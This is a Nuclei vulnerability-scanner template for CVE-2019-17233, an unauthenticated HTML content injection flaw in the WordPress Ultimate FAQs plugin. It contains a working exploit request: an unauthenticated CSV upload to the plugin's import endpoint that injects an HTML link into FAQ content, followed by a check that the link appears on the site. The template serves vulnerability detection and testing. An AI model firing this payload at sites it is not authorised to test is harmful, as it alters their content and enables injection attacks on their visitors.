CVE-2019-17233: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection

id: CVE-2019-17233

info:
  name: WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection
  author: daffainfo
  severity: medium
  description: |
    Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows HTML content injection.
  reference:
    - https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17233
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-17233
    epss-score: 0.04787
    epss-percentile: 0.89058
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: etoilewebdesign
    product: ultimate_faq
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ultimate-faqs"
  tags: cve,cve2019,wordpress,wp-plugin,wp,ultimate-faqs,intrusive

flow: http(1) && http(2)

variables:
  question: "{{randstr}}"
  url: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5

        ------WebKitFormBoundary34ZHf69LbDjZlcL5
        Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="{{filename}}.csv"
        Content-Type: application/csv

        "Question","Answer","Categories","Tags","Post Date"
        "{{question}}","<!-- wp:html --><a href='http://{{url}}'>{{string}}</a><!-- /wp:html -->","","","2025-09-17 17:16:33"
        ------WebKitFormBoundary34ZHf69LbDjZlcL5--

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(location, 'reauth=1')
        condition: and
        internal: true

  - raw:
      - |
        GET /?ufaq={{question}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<a href='http://{{url}}'>{{string}}</a>"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d9325297a089c69545dcc610ee32c19b3b67a8fedde081c72f88c4029c968c95022100cb0369d6ebc46580debd40b7b896277facb08b4f50b22ad75ac6ecbb4969ea9a:922c64590222798bb761d5b6d8e72950